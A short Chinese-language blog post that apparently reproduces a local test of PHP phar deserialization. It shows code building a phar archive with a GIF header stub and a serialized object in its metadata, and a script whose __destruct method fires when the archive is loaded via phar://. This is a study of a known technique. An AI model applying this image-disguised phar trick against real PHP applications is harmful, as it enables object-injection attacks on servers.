1. 程式人生 > >phar 反序列化本地測試

phar 反序列化本地測試

https://xz.aliyun.com/t/2715

看了上邊的文章,然後根據他的程式碼來複現的。

 

眾多檔案操作函式能反序列化在於使用了 phar_parse_url,之後有呼叫到 phar_var_unserialize。

生成 phar程式碼:  test.txt隨便寫就行,沒必要真實存在

<?php
    class TestObject {

    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //設定stub,增加gif檔案頭
    $phar ->addFromString('test.txt','test');  //新增要壓縮的檔案
    $object = new TestObject();
    $object -> data = 'hu3sky';
    $phar -> setMetadata($object);  //將自定義meta-data存入manifest
    $phar -> stopBuffering();
?>

反序列化 程式碼:

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}
include('phar://phar.phar');
?>

 

測試發現,phar在生成之後,即可隨便改字尾了。生成的時候必須是.phar

還有一個就是 include 換成 is_file 的情況下,compress.zlib://phar://phar.jpg 這樣沒有被反序列化。

別的函式沒有過多的測試。:)